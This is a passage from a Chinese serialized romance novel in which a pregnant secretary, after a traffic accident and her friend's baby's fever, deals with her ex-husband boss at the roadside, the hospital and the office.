沈渺看她此刻的状况,怕她开车走神。 “我,我给他带什么?” 商音慌了神,手忙脚乱,在昭姐的指挥下,拿了件小外套和水杯以及纸尿裤,匆忙出门。 沈渺开车,带着他们直奔医院。 许是身体不舒服,商商一直在哭。 哪怕在商音的怀里,他的小腿使劲往上蹬,哭的商音心都快碎了,忍不住跟着哭。 “都怪妈妈,妈妈没有想到你会发烧,乖商商,不哭了行吗?妈妈以后一定注意……” 昭姐安慰,“别太担心,小孩子总会生病的,可能是这两天夜里着凉了……” “我要是早点发现,他就不会烧这么高,这身上都烫人了。” 商音的眼泪噼里啪啦地落,说话的哭腔很浓。 夹杂着商商尖锐的哭声,沈渺不免跟着着急。 她时不时看向后视镜,抽纸巾递过去给商音擦眼泪。 孰料,汽车猛地一顿,发出一声巨响。 “哎呀!” 昭姐惊呼一声,“撞车了!?” 沈渺身体狠狠一震,她下意识扶上小腹。 幸好前方红绿灯,车速缓慢,撞击的震度不是很大。 而撞车原因是前方一辆SUV想要插队,临时拐过来方向盘。 沈渺的车撞在对方的右后方车屁股。 “瞎了,没长眼睛啊!” SUV车主下来,指着方向盘的方向骂骂咧咧。 沈渺解开安全带下车,“你插队,你得全责。” “一个女人开不好车就不要开,教练没叫你礼让吗?” 男人训斥着,冷不盯看到沈渺微微凸起的小腹。 下班后沈渺穿了一件包身的纯棉长裙,这件衣服将她孕肚显得厉害。 “还是个大肚婆!换个人来跟我沟通!” 商音把商商交给昭姐,下车来,“换谁来也是你全责,我们着急医院,你留个联系方式,回头我们再谈赔偿!” “赔偿?谁赔谁?”男人不依不饶,“你们两个女人懂不懂啊?找个明事理的来,但凡是个男人有点义气都知道让一让!” 看到车里还有人影晃动,男人上前一步,“让里边人出来我看看,有没有明事理的!” 商音挡着车门不让他靠近。 “找交警,交警最明事理了,你别推卸责任!” 男人明知没理,就想闹事拖延时间,让沈渺和商音放弃赔偿,直接走人。 “马上晚高峰,别耽误大家时间,你这儿叫不出个人明事理的人来,算了算了……” 商音撸起袖子就要冲上去,“你给我站住,属狗的吧?不分对错就咬人啊?” 车里传出商商的哭声。 沈渺拦了商音一把,“算了,回头报交警,先带商商去医院。” 在她的劝说下,商音冷静下来,听到孩子哭声在心里骂自己,浪费时间。 “站住,你骂谁呢?一个大肚婆一个疯婆子,车里还一个孩子,两个女人凑不齐一个明事理的男人来?” 商音脚步一顿。 沈渺推着她上车,“上车打交警电话处理,先去医院!” “别走,打电话喊你们家能处理事儿的过来,我倒是要看看,哪个男人不长眼,娶你们两个不讲理的女人!” 男人使劲拍了下引擎盖。 ‘Duang’的一声。 车里商商的哭声更大了。 沈渺把商音塞到车里,转身准备也上车,不与这男人争执。 她一个孕妇,商音那儿还有商商,怎么算都不该跟这个脾气暴躁的男人针尖对麦芒。 谁知,不等她上车,就被男人拽住了。 “别走,知道理亏想跑是吧?今天车上那女人不跟我道歉,谁也别想走!” 沈渺半个身体都探进车里了,又被男人拉出来。 她没防备,男人的力气过大,她佝偻着身体踉跄着后退。 重心不稳,身体摇摇欲坠,惊得周围聚拢看戏的人一阵惊呼。 沈渺捂着肚子,倒吸一口凉气,惊恐爬上心头时—— 她腰上一紧,背部撞入男人坚硬的胸膛。 195.他不是我老公。是她前夫 “现在你想走,都走不了。” 贺忱低沉富有磁性的声音在她身后传来。 沈渺被他扶正身体,人却还被他圈在怀里护着。 他周身散发着一股凛然的气息,让方才还嚣张的男人一下没了气焰。 “秦川,你带她们先走,这里交给我。” 他指的是车上的商音和商商、昭姐几人。 沈渺是车主,得留下来跟他一起处理这起事故。 秦川拉开车门,弯腰看去。 商音抱着商商,哭得稀里哗啦。 那副惨样子,仿佛刚刚要跟外面那人拼命的不是她。 “出来,我带你们去医院。” 商音抱着孩子下车,昭姐拎包跟上。 “哎,你这——” 男人强行找回一些气焰,“你们没必要为了两个不认识的女人出气!” “我们认识。”贺忱言简意赅,“说吧,你想怎么跟我这明事理地谈这起事故。” 周围人指指点点,男人妄想欺负女司机不懂交通规则来推卸责任的梦破灭。 他又找了个借口。 “你说认识就认识啊?她一个孕妇,你们这么亲密,难不成你是她老公?” 沈渺从未见过这么不讲道理的男人。 “他是我的什么人,跟你没关系,你不是要处理事故,现在可以处理了。” 贺忱落在沈渺腰间的手一紧。 她变相地否认了他是她老公。 男人也听出来了,“你不是她老公,你们两个卿卿我我的,干什么呢?不会是婚外情吧?人家肚子里揣着一个有老公了,你还上赶着帮人家干什么?” 人多最不怕的就是八卦。 围观的人纷纷交头接耳,小声议论。 沈渺看到离他们很近的还掏出手机,准备拍摄。 她眉头一拧,快速从贺忱的怀里出来,直接拨打交警电话。 电话很快被接通,沈渺报时间地点,具体情况。 男人见势头不妙,转身就往车上跑。 小短腿倒腾了半天,不及贺忱快走两步,直接把他衣领薅起来。 不出五分钟,交警抵达现场。 沈渺做了笔录,将行车记录仪监控给了交警,然后退场。 她的车撞坏,被拖去修了。 贺忱的车被秦川开走了。 她出来时,就看到贺忱站在交警队门口的树下。 夜色正浓,一簇霓虹灯亮着,晕开的光环把他身影拉得老长。 他双手插兜靠着树,看到沈渺出来直起身体,走过来。 “处理好了?” 沈渺点头,“对方全责,车会在三个工作日内修好送过来。” “知不知道自己干什么吃的?” 贺忱的脸色陡然下降,劈头盖脸地指责,“开这么多年的车了,犯这么低级的错误?” 沈渺低着头,胸口微微起伏,“抱歉,车损我会全部负责。” 虽然对方修车,但是新车损坏会贬值。 她开的公司车,还是因为私事,贺忱会不高兴不在沈渺的预料之中。 可沈渺又觉得,他现在正看她不顺眼。 会找她麻烦,又算情理之中。 “车损你赔?出了事情,你付得起肚子里孩子的责任吗?” 贺忱双手叉腰,额头青色的筋络显而易见。 沈渺抬起头,对上他墨色的双眸。 “我……是他突然转过来。” “保持车距,这么简单的道理你不懂?” 贺忱面色依旧沉甸甸的。 沈渺垂下目光,“懂,抱歉——” “跟我道什么歉,孩子是你的。” 贺忱说完这话,心脏一刺,不舒服极了。 他甩手转身就走。 身后传来脚步声,是沈渺跟过来了。 她小碎步迈得飞快,勉强跟上他,“贺总……” “你开的是公司的车,若出事公司也得承担责任,所以我才提醒你。” 贺忱打断她。 沈渺顿了下又说,“我知道,我……” “你出事跟我也没关系,不用跟我道歉,对得起你自己就好。” 贺忱见她追得费力,不由得放慢脚步。 沈渺因为拔得微高了些,“我出来得急,没带手机,你能帮我打个车去医院吗?” 车被拖走,她联系不上商音,又身无分文。 贺忱脚步猛地顿住,转身看她。 她站在那里,灰色的纯棉长裙熨贴着前凸后翘的身子。 就算是个孕妇,她也是个容易令人想入非非的孕妇。 内衣的纹理依稀可见。 平日里沈渺不会穿这衣服出门,今天是出来的急。 贺忱解开外套扣子,脱下来直接将她裹住。 “跟我走。” 沈渺身上一暖,周身被他的味道笼罩。 贺忱在路边拦了出租车,打开车门,见她还在原地,嗓音不虞。 “上车,等什么?” “来了。”沈渺敛回思绪,快步上车。 她弯腰上去,刚坐稳身边就多了一抹暗影。 贺忱半个身体钻进来,“里面靠。” 她以为他会坐在前面。 沈渺赶忙挪动身体,让出位置。 “两位去哪里?”司机问。 贺忱沉默着。 沈渺开口道,“医院。” “路段行车困难,先生请保护你妻子,她怀孕了,免得磕到。” 司机看出沈渺是孕妇,又见两人之间隔着很远,提醒道。 “师傅,你误会了,他不是我老公。” 沈渺解释。 司机讶然。 不是她老公,深更半夜跟她在一起,还陪她去医院。 一簇霓虹灯光照进来,打在贺忱脸上。 他阴恻恻着开口,“是她前夫。” 司机‘哦’了一下,深吸一口气。 沈渺回过头来看他,黑白分明的眼眸带着诧异。 “小夫妻吵架很正常啦,男人就多顺着点女人,张口闭口就前夫了,你这样女孩子怎么能高兴?” 司机却以为,他们是正在闹矛盾的小夫妻。 沈渺的解释他当听不见的。 贺忱黑压压的脸色,他当贺忱不会哄老婆,只会甩脸子。 一通教育,让车厢里静的落针可闻。 他们都不说话了,司机这才安静下来。 片刻,抵达医院。 贺忱付了钱,两人下车。 “谢谢贺总,我先走了。” 沈渺丢下几个字,快步朝急诊院区走去。 急诊室人不多,她刚进去就看到了昭姐。 “小沈你过来了啊。” 昭姐起身走过来,“商商需要住院观察,小商已经带着他过去了。” “在哪个病房?”沈渺问。 “在顶楼,是秦医生给办的住院,我这几天也要过来帮忙照顾,你一个人怎么办?” 昭姐引着她朝电梯走。 刚走没两步,昭姐突然停下来,“这不是帮我们那位先生?他怎么也跟过来了?” 沈渺回头,才看到贺忱也过来了。 196.这就是你感激的态度? 沈渺拧着眉的样子,印刻在贺忱深沉的眼眸里。 他在隔着一段距离处停下。 “你怎么还没走?” 贺忱,“我……” 沈渺,“我这儿没需要你帮忙的地方了。” 她面色疏离,带着不需要他帮忙的抗拒。 贺忱单手插兜,站在原地没动。 “小沈,你们认识啊?” 昭姐却是开口,“那个男人一看就不是好东西,想推卸责任甚至讹我们,旁人都不敢管,幸好这位先生了。” 说着,她又看向贺忱,“先生,事情解决了吧?是对方全责吧?” 贺忱颔首,“嗯。” “哎呀,真是太感激你了。”昭姐转过头来又对沈渺说,“你朋友帮了这么大的忙,可得好好感谢人家。” 说完,她又压低声音道,“怎么你还板着一张脸,这样不合适。” 声音虽然压低了,可扛不住晚上的医院太安静。 她的话还是清晰传入了贺忱的耳朵里。 贺忱眉尾微微扬了下,看向沈渺的眼神像是在问:这就是你感激的态度? 昭姐是深城本地人,人热情又开朗。 她说话直,并未注意到沈渺跟贺忱之间那股微妙的气息。 沈渺汲气,语气缓了缓,“主要是觉得时间不早了,怕耽误贺总休息。” “以往这个点,我还在工作。” 贺忱朝她走近两步,言下之意现在还不晚。 沈渺动了动唇,欲再开口时,就见贺忱越过她,朝医院里面走去。 她怔了下,眉头舒展开来,面色不由浮上一抹尴尬。 “哎呀,小商给我叫的车到了,我得赶紧走了。” 昭姐惊呼一声,忙不迭朝外面走去。 沈渺颔首,目送昭姐离开后,她去了商商的病房。 病房门口,贺忱跟秦川站在那里。 “烧得挺严重,幸好送过来的及时,推了退烧针,温度降下来一些,有反复发烧的可能。” 秦川透过窗户,看病床上的娘俩,“整体来说问题不大,不知道她怎么那么慌。” 贺忱斜靠在墙上,并未搭话。 沈渺走过来接了句,“这是商商第一次生病,而且是高烧,我们都很好啊。” “理解了。”秦川回过头来,“你进去安慰一下吧,照她这样下去,孩子还没好她也会病倒。” 沈渺点了下头,沉默了几秒又说,“今晚谢谢你们,你们先回去吧。” “我值夜班。”秦川指了指白大褂上的胸牌。 “你在这里上班?”沈渺惊讶,“你不回京北了?” 秦川点了下头,“短期内不打算回。” 沈渺看了贺忱一眼。 他依旧站在那儿,应该是在等秦川。 她推开门进入病房,随手把病房门关上。 商商睡着了,商音侧躺着,紧紧把他抱在怀里。 见有人进来,立马将食指抵在嘴上,示意小点声。 “退烧了吗?” 沈渺弯腰打量着商商的小脸,看起来还红红的。 商音点头,“降下来些,但还没有彻底退,你没跟昭姐一起回去?” “等昭姐回来我再走吧。” 沈渺不放心商音一个人在这儿,万一商商有状况,忙不过来。 商音坐起来,眼睛有些红肿。 “我真不是一个合格的妈妈,商商生病了我都没发现,要不是昭姐,他烧成傻子我都不知道怎么回事。” 沈渺抽了两张纸递给她,“都当妈的人了,不能哭,要给孩子做榜样。” 商音仰着头,将纸盖在眼睛上,很快就被浸透。 “沈渺,现在的生活状况脱离了我原本的计划,我以为生个孩子,只要我给足够多的钱养就足够了。” 可是孩子生下来,很多时候她都身不由己。 她想当一个甩手妈妈,闲来无事把抱孩子过来稀罕稀罕,有事了就交给育儿嫂。 可是孩子哭闹她心疼,再苦再累也要吊着一口气陪孩子玩。 孩子生病揪心,她的情绪完全围绕孩子发生变化。 “你决定试管要个孩子的时候,我就跟你说过,这是一条生命,不是你能花钱买到的玩偶,生了他就要对他负责。” 沈渺将她乱糟糟的长发梳理好。 “你变得身不由己,证明你是个重感情的人,在朝着合格妈妈的方向发展,你很好。” 合格妈妈? 这四个字对商音来说,太陌生了。 她一直给自己贴的都是‘辣妈’标签。 商音把眼睛上的纸巾拿下来,揉成一团丢入垃圾桶里。 “沈渺,当合格妈妈是一件好累,好辛苦的事情,难怪……都要结了婚才生孩子,至少另外一半能帮忙分担。” 她往病房外看了一眼,声音压得低低的,“爸爸就是妈妈和孩子最坚强的后盾。” 就像刚刚,男人欺负的就是孤儿寡母,没男人。 沈渺看了她几秒,抬手覆上她额头。 “没发烧,怎么有说胡话的迹象了。” 她几乎能猜到,商音接下来要说什么。 商音把她手拿开,“贺忱刚刚还停下来帮我们,也挺好的。” 沈渺:“……” “你前两天刚呛了人家,他那么大一个总裁,换了别人你就是被人揍了,都不带停一下的。” 商音振振有词。 沈渺,“所以呢?我是不是该现在冲出去,问问他能不能别跟程唯怡结婚,跟我复婚?” 商音一噎,咂咂嘴。 “情绪上头就爱乱说话是病,能不能改改?” 沈渺拉过椅子坐下来,“你闭上嘴睡觉吧。” 商音乖乖躺下,抱着商商,闭上眼睛。 没一会儿她又睁开,“你帮我跟贺忱说句谢谢。” “谢什么?”沈渺说,“车是我开的,他帮我处理的事故,你谢他什么?” “秦川是他带来的。”商音撇了下嘴,“秦川安排的病房。” 沈渺,“要说你自己去说。” 商音透过窗户,只看到贺忱侧脸。 她犹豫了下说,“那有机会我再说。” 话音落地,病房门被人推开。 秦川拿着两颗药走进来。 “商小姐,这是退热贴,可以贴一个很舒服,如果半夜又烧起来可以再吃退烧药,用法用量我都写下来了。” 商音坐起来接过药,“谢谢秦医生。” 秦川,“不用谢。” 他低头看了眼沈渺,“沈小姐是孕妇,不宜熬夜,刚好贺忱要走了,让他送你回去吧。” 197.沈渺怀的别人的孩子,贺忱怎么想? “不用。” “贺忱同不同意啊?” 沈渺的‘不用’,夹杂着商音后面的问题。 秦川回头看了眼。 贺忱靠在门框上,鹰隼般的长眸淡然看过来。 “贺忱,今天谢谢你啊,那等会儿你走的时候就把渺渺带回去,安全送回家,不然我也不放心。” 贺忱跟商音,知道彼此存在已经很多年了。 但是他们几乎没说过话。 商音这一开口,像是跟贺忱关系多熟似的。 沈渺做好了商音会被冷场的准备。 “走吧。” 谁知,贺忱吐出两个字。 沈渺抿了下嘴唇,犹豫了几秒拿上东西跟贺忱走了。 深更半夜,她一个孕妇,也没带手机。 孰轻孰重,她还是分得清。 进医院时,她就把西装外套还给了贺忱。 这会儿往外走,夜风微凉,贺忱又把外套递过来了。 “明天上午有个国际视频会议,需要你记录。” 沈渺要是生病了,没办法记录会议。 许是跟了贺忱太久,她总能精准地捕捉到他每一句话的含义。 沈渺接过外套穿上,鼻翼间尽是他身上那股淡淡的沉香味。 以前,这股沉香带着淡淡的烟味。 如今,烟味没了。 她最近很少见贺忱吸烟。 或许是,程唯怡不喜欢烟味? 沈渺埋头跟在他后面,上了他的车,任由他开车送她回家。 贺忱的车驶离原地,暗中走出一抹身影。 程唯怡垂在身侧的手紧紧攥着,指甲陷入肉里,抓破了皮肉。 她却仿佛感觉不到疼,死死盯着他们离开的方向。 “沈渺,你还敢说你跟贺忱哥没什么!” “贺忱哥难道不知道他怀孕了吗?他……到底什么意思?” 沈渺那件衣服,足以看得出怀孕,这证明贺忱是知道沈渺怀孕的。 程唯怡不理解,沈渺怀的是别的男人的孩子。 贺忱,怎么想的? 想不透,程唯怡顾不上再想,她收回目光进入医院内。 秦川办公室的门,猛地被推开。 他刚脱掉白大褂,想小憩一会儿。 程唯怡铁青着脸色进来,“秦川,你躲得了我?” “躲不了。”秦川实事求是,“你属狗的吧。” 闻着味,就能找到他这儿来。 “你是准备跟我鱼死网破吗?”程唯怡质问,“你不怕贺忱哥知道你那些龌龊想法?” 秦川早就想到,程唯怡会找来找他。 他拉开椅子坐下,不急不缓道,“这不叫鱼死网破,只是以后不再合作,井水不犯河水了。” “不行,我还需要你帮忙!”程唯怡一口否决他单方面宣布各不相犯。 “我不帮,你有本事就去找贺忱,想说什么说什么,你替他除了我这个祸害,我也替他除了你这个麻烦,他好我怎么样都行。” 秦川一脸没得商量。 程唯怡嗓子眼发紧。 她最害怕的一幕出现了。 秦川比她头铁,比她更不怕鱼死网破。 “秦川,我们互帮互助才是互赢,你跟贺忱哥这么多年的兄弟情,你不担心会毁于一旦吗?” 程唯怡的语气软了不少,有苦口婆心的意思。 “我们都是想为了贺忱哥好……” “我想为了他好,你只是想为了自己好。” 秦川打断她,“你做的所有一切都是为了你自己的虚荣心,跟得到贺忱,我劝你现在收手还来得及。” 他知道,贺忱已经有所察觉了。 但是他不会告诉程唯怡。 程唯怡找死,他才不拦着。 他象征性地劝说,程唯怡根本听不进去。 “我知道我配不上贺忱哥,可我比沈渺的出身强啊!” “以后别再来烦我,不然我就去找贺忱摊牌。” 秦川指着门,“出去。” 程唯怡不敢置信,他会这么决绝。 “秦川,我们好歹是一起长大的,就算没有贺忱哥,我们也是朋友——” “你不配跟我做朋友。” 秦川,“你跟那些人没有区别,我的朋友只有贺忱一个。” 程唯怡,“我……” “需要我提醒你,你做过什么吗?” 秦川的嗓音冷了不少。 程唯怡一阵发冷,汗毛都竖起来了。 她当初是威胁秦川时,说了很难听的话,当时秦川的脸色有多难看,她是记得的。 别说朋友,秦川不把她当成敌人就不错了。 “滚。” 秦川吐出一个字。 程唯怡使劲咬着嘴唇,咬破了,也没再说出话,最终还是转身离开了。 “都是因为沈渺,贺忱哥才会对我这样,只要没有她,一切的麻烦都解决了……” 回到车上,程唯怡拿出手机,拨出电话,“珊珊,我来深城了,有时间见面吗……” —— 沈渺从未觉得,深城的夜里这么凉。 她身上披着贺忱的西装外套,车上的窗户都关了,她却被一股从背脊爬上来的凉意,惊得胳膊起了一层鸡皮疙瘩。 她将外套拢了拢。 “冷吗。” 贺忱捕捉到她的小动作。 “还好。”沈渺扫了眼贺忱。 他穿着单薄的衬衫,袖口挽着,肌理分明的胸膛若隐若现。 贺忱松了方向盘,修长的手指摁开了暖气。 车内逐渐暖和起来。 只是她暖了,他就热了,将领口的扣子又打开了两颗。 车内两人冷热交替。 半小时后,车停在沈渺家门口。 沈渺下车后,把外套脱下来,放在座位上。 “谢谢,早点回去休息吧。” 贺忱看了她一眼,“进去吧。” 沈渺点了下头,见他还不走,她转身进入公寓内。 黑黑的公寓有了一抹光亮。 依稀可见沈渺晃动的身影,她去了客厅,待了没几分钟,上楼睡觉了。 她是一个人住,意味着那个男人并不在她身边。 不对,贺忱突然想到,商音也是一个人。 他掏出手机拨通林昭电话。 “查一查商音。” 林昭愣了会神,才想起来,商音是沈渺的朋友。 “是。” 不出半小时,林昭就查到了商音的全部信息。 贺忱准确无误地捕捉到,去年商音在社交平台公开生子那一栏。 许多粉丝问她这个孩子是谁的,她都说是她自己的。 顺藤摸瓜地查,商音在哪家医院接受的人工授·精,甚至哪天几点都查出来了。 “贺总,您该不会怀疑……沈秘书的孩子,也是试管来的吧?” 198.重要的是你能来 “不会。” 贺忱脱口而出两个字。 林昭本意是若他认为这个孩子是试管来的,很荒谬。 但听到贺忱如此决绝的否认,他又起了好奇心。 “您怎么这么确定,沈秘书的孩子,不是试管的?” “直觉。”贺忱的直觉还告诉他,沈渺瞒了事情。 沈渺跟了他这么多年,还曾两年每天做着做亲密的事情。 他十分了解她。 “贺总,还继续查吗?” 那端传来林昭的声音。 贺忱吐出一个‘查’字,挂断电话。 他将手机收起,又往楼上看了眼,然后驱车离开。 路过隔壁公寓,院子里停着的劳斯莱斯幻影一闪而过。 贺忱眉头微蹙了下。 那车价值九位数,停在这不过百万的公寓区,显得格格不入。 但他没多想,飞速驾车离开。 黑暗的房间,沈渺站在窗边,她看着飞速驶去的车,舒一口气,转身上床。 商商生病,让商音陷入焦虑。 她彻夜不眠,在网上搜索婴儿发烧最坏会造成什么结果。 除去大部分说小孩生病时常事外。 极小部分特殊情况,发烧导致脑瘫、变傻、白血病高烧不退的标题,成为了商音重点关注的对象。 【商商会不会生大病了?】 【我们搬到深城来,这房子应该是刚交付不久,是不是甲醛太重了?】 【商商烧到快四十度,会不会影响智商?】 【听说有把小孩烧成聋子的,他会不会听不见了啊?】 沈渺逐条回复。 可她的回复,商音看不进去,一味陷入恐惧。 终于,天亮了。 商音许是撑不住睡过去了。 沈渺撑着疲倦的身体去公司。 八点半的国际会议,她卡着点进入贺忱办公室。 会议刚接通,贺忱戴着无框眼镜,掀动眼皮朝她看过来一眼,很快又垂下。 他操着流利的英文,与电脑那端的人沟通。 沈渺悄无声息地入座,打开笔记本开始记录会议。 因为来得及,她忘记将手机调成静音。 乍然响起的铃声,打断了流利的英文交流。 贺忱眼眸一眯,朝她看过来。 沈渺迅速将手机调成静音,“抱歉。” 屏幕上,高夫人的电话号码跳动着。 贺忱余光瞥见,清了清嗓子,“接。” 沈渺只得接起电话,“高太太。” “沈渺,明天是我儿子的生日,你来参加吧?” 高夫人盛情邀约,“让贺总也一起来。” “抱歉,贺总明天有工作安排。” 沈渺婉拒。 “那你一个人来吧。”高夫人却是说。 “我也有工作要处理。” 高夫人安静了几秒,又说,“宴会晚上才开始,你下了班过来,来得及的,珊珊上次跟你见过面,觉得很聊得来,特意叮嘱我邀请你过来。” 沈渺跟高夫人算不上熟。 上次参加他们夫妻的结婚纪念日,她连哪个是高夫人的儿子都不知道。 至于吴玥珊,聊得来? “抱歉,我朋友的孩子生病了,在医院,我下班要过去看看,谢谢您的邀请,我会送个礼物过去。” 不再给高夫人开口的机会,沈渺挂了电话。 她放下手机,朝贺忱颔首,“抱歉打扰贺总开会了,可以继续了。” 贺忱目光落在屏幕上,眼神示意会议继续。 没一会儿,沈渺的手机接连震动几声,又安静下来。 半小时后,会议结束。 “高夫人很喜欢你。” 贺忱目光转向她。 沈渺整理会议内容,动作稍顿,“她说她没有女儿,我跟他儿子年纪相仿,可能是合眼缘。” “明天晚上有时间。” 贺忱摘掉眼镜,意思不言而喻。 沈渺诧异地看向他,“你要去参加?” “给你一天时间去挑选一份礼物,明天带过来。” 贺忱捏了捏眉心,面容染上几抹倦意。 沈渺将东西整理好,发到他邮箱后,离开公司。 她虽然电话里拒绝了高夫人,可高夫人又给她发了几个消息,希望她能去。 沈渺回复高夫人明天晚上会过去,顺便问了下高家少爷的喜好,好准备礼物。 【礼物不重要,重要的是你能来就行。】 这话说的,好像沈渺就是那个礼物一样。 怎么听怎么不自在。 沈渺让李白恬查了查高家少爷,典型的二世祖,吃喝嫖赌样样都沾。 她选了一瓶进口珍藏红酒,让人明天直接送到高家去。 办完这些事,刚好中午,她直接去了医院。 进门就看到商音坐在沙发上掉眼泪。 昭姐抱着商商在床上,商商的额头还贴着退热贴。 “还在烧吗?”沈渺走进来。 “早上的时候退下来了,这会儿又开始烧。” 昭姐边说边打量商音脸色,“医生说这是病毒性的,会反复烧几次。” 她想说问题不大,但是看商音那么难过,又不好意思说。 “刚好,趁着商商睡着了,我们去吃午饭,等会儿给昭姐带回来。” 沈渺朝昭姐点点头,走到商音身边。 商音想都不想就拒绝了,“我不去,你跟昭姐去吧,我得守着商商。” “他在昭姐手里呢,你接过来万一弄醒了怎么办?” 沈渺拉着她起来,“昨天秦医生说了,你这个样子下去商商没好,你得先病倒,你病倒了孩子怎么办?” 商音看到商商通红的小脸,心疼的直淌血。 “还不如我生病,看到商商这么难受……” “你打住,现在跟我走。” 沈渺拉着她朝病房外走去。 昭姐叮嘱道,“别惦记孩子,没事的,你多吃一点,千万别把自己身体搞垮了。” 病房门关上,昭姐的被隔开。 外界的嘈杂涌来,商音吸吸鼻子,出了那间屋子,人有一种清醒不少的感觉。 “过来,带你走两层楼梯,让你醒醒盹。” 沈渺截停她走向电梯的步伐,拉着她走楼梯。 楼下是儿科普通病房,一出楼梯口就看到楼道里横七竖八都是加塞的病床位。 从几个月到十几岁的孩子随处可见。 手腕处挂着滞留针的,头顶推掉一块头发输液的,比比皆是。 商音看得触目惊心,心惊胆战。 “这么多生病的孩子啊?” “是个孩子就会生病,小孩子患绝症的比例虽然增高了不少,但相比之下比例还是太小了,你不要给自己增添焦虑。” 沈渺强行把她拉下来,就为了让她看看,每个年龄段的孩子都会生病。 两人穿过普通病房,来到电梯前等着。 商音听了她的话,扭过头来打量她。 “你这么没有人情味,是跟贺忱跟太久了吗?” 199.离婚那晚她哭的枕头都湿了 沈渺:“???” 她眉头一拧,严肃地看着商音。 商音吸吸鼻子,“等你生了孩子就知道了,道理都懂,但就是忍不住心疼孩子。” 沈渺想说她能体会。 但转而一想,商音现在什么也听不进去。 她干脆不说了。 “这种感觉就像,你的理智让你离开贺忱,你也能做得到离开,可你还是会难过。” 商音使劲吸鼻子。 沈渺,“差不多行了,道理你都懂怎么还人身攻击呢?” “我这么难过,凭什么你好过?” 商音委屈巴巴干着不是人的事儿。 “你想想你跟贺忱离婚那天晚上,你哭的时候,我也陪了一宿的,我恋爱都没谈过都能陪一下,你能不能被这么冷静,显得我很蠢。” 沈渺脑仁一阵大,“看来你是没那么担心了,还有心情瞎扯。” “我瞎扯了吗?”商音振振有词,“你那天晚上哭的枕头都湿了,有一次多喝了两杯,你还说再来一次一定不会主动提离婚了……” 沈渺有严重的戒断反应。 跟贺忱结婚两年,就算他冷冰冰的,她也习惯了下班有他。 刚离婚那天她是哭了。 离婚没多久,贺忱跟程唯怡在一起的新闻爆出来,她喝了酒说了些胡话。 她都不记得,商音却把她每一个出糗的瞬间,都记录下来,逮住机会就损她两句。 看在商音情绪不高涨的份儿上,沈渺不跟她计较。 “电梯到了,快进去吧。” 她拉着商音进电梯,两人一同转过身。 冷不丁看到电梯外,穿着白大褂双手插兜的秦川。 商音表情一僵。 沈渺脑袋‘嗡’的乱哄哄起来。 “你怎么在这儿?”商音下意识问。 秦川走进电梯,面无表情,“查房。” 哦,他是儿科医生了。 商音悄悄打量沈渺。 沈渺面视前方,抵在两侧的手揉捏着衣角。 “秦医生,你说商商的情况是不是比下面这些孩子,都严重啊?” 商音试图挑起话题。 秦川微侧了下头,“有比他严重的。” “哦。”商音扯了扯嘴角,笑得有些虚。 她想问问,秦川有没有听到她们说话。 但迟迟问不出口。 电梯下行,电梯里静悄悄的。 秦川的目光从商音身上,移到沈渺那儿。 他看了沈渺几秒,目光如注。 沈渺目不斜视地看着前方。 终于,电梯门开了。 秦川率先走出电梯。 商音拉着沈渺就追出去了。 “秦医生,你要去吃午饭啊?” 秦川,“嗯。” “那个,你刚刚等电梯,是不是等挺久的?” 商音变相套话。 几人出了医院门,空气清新,沈渺却觉得胸腔里发闷。 听到商音的问题,她只觉得眼前一黑。 让她眼前又一黑的是,秦川的回答。 “时间不是很久,从你说沈渺跟贺忱离婚那天晚上,哭湿了枕头开始。” 沈渺:“……” 商音嘴角抽搐。 “既然都说到这儿了,我其实挺想问问,沈小姐为什么要跟贺忱离婚。” 秦川严谨的面色透出几分好奇。 他一本正经地研究八卦。 “因为不合适。”商音抢先一步回答,“刚刚我胡说八道,你别放在心上,沈渺跟他离婚开心还来不及呢,怎么可能哭。” 秦川摇头,“我不信,贺忱跟她结婚的时候,是商圈新贵,多少女人想攀都攀不上。” 商音,“我……” 她求救的目光看向沈渺,该编的瞎话都编完了,接下来怎么圆? “确实,贺总很优秀,是我高攀。” 沈渺避重就轻,“离了婚不该再谈起这些事情,不说了。” 她拉着商音离开。 秦川站在台阶上,看着她们远去的背影。 他掏出手机,敲击着屏幕,打出一行字给贺忱发过去。 —— 这么一闹,沈渺没食欲了。 “我真不知道他在后面,不然我怎么会说这些话。” 商音一边吃一边后悔,“都怪我,明知道秦川在这家医院,说话还没个把门的。” 沈渺,“你心里要真过意不去,有空跟秦川聊两句,让他别跟贺忱乱说。” 她跟贺忱的关系,不能用糟糕来形容。 是乱套。 说好不好,可说坏也没多坏。 但任何话,都有可能诱发他们关系进入不好的阶段。 “正好下午他来给商商查房,我们赶紧吃,吃饱了回去。” 商音加快吃饭速度。 沈渺放下筷子,“你给昭姐带一份回去,我先回家了,晚上给你们送晚餐过来。” 她乏得厉害,打算回家补个觉。 “那你赶紧走吧。” 商音挥手示意她离开。 沈渺乘地铁回家,收拾一番上床补觉,睁开眼已经是下午四点多。 她做了几菜一汤送到医院。 商商已经不烧了,精神状态好了许多。 小家伙独自在婴儿车上玩儿,她们三个坐在茶几前吃晚餐。 “小沈的手艺也蛮好的。” 这是昭姐第一次吃沈渺做的饭,竖起大拇指。 沈渺的脚踩在婴儿车上,确保商商一直在她们的视线范围之内。 “之前钻研过一段时间厨艺。” “你是北方人吗?”昭姐问,“我听你们口音像北方,但是又觉得你们长得不像北方人。” 商音接话,“如假包换,我们从小在京北长大的,但没准我们骨子里有南方的基因。” “这啥意思?” 昭姐一愣,“你们祖上是南方人?” 商音大大咧咧,“我俩是孤儿,根在哪儿都不知道。” “啊?”昭姐一脸歉意,“我真没想到你们,抱歉,我不该提这茬的。” 沈渺笑着摇头,“没事,你就算不提这也是事实。” 家虽这么说,昭姐还是觉得不好意思,快速吃完带着商商去一边玩了。 沈渺小口喝着汤,瞥了眼商音,“下午秦医生来过了?” “来,来过了。”商音眼神飘忽,不敢看她,“他手太快了。” 沈渺,“手快?什么意思?” “我们前脚走,他后脚就给贺忱发消息了。” 商音问他发了什么,他没说。 但那语气,肯定是泄露了她们的对话。 “贺忱没给你打电话问?” 沈渺摇头,“没有。” 过去的事情不重要,那话贺忱就是听了应该也不会有反应。 只不过旧事重提,显得尴尬罢了。 沈渺正想着,手机突然响了。 是贺忱打来的。 200.许久不见的小情侣 秦川给贺忱发消息说了什么? 短短数秒,无数种可能性冒出来。 沈渺来不及笑话,接起电话。 “贺总。” “下楼。” 贺忱的嗓音阴沉。 沈渺不难想出,他此刻的脸色有多难看。 她心里‘咯噔’一声。 她跟商音说的那些话,会让她在贺忱面前丢人。 可听贺忱的语气,是生气的。 忙音传来,沈渺的手落下些,她看着暗下来的屏幕,眉头微微皱起。 “怎么了?” 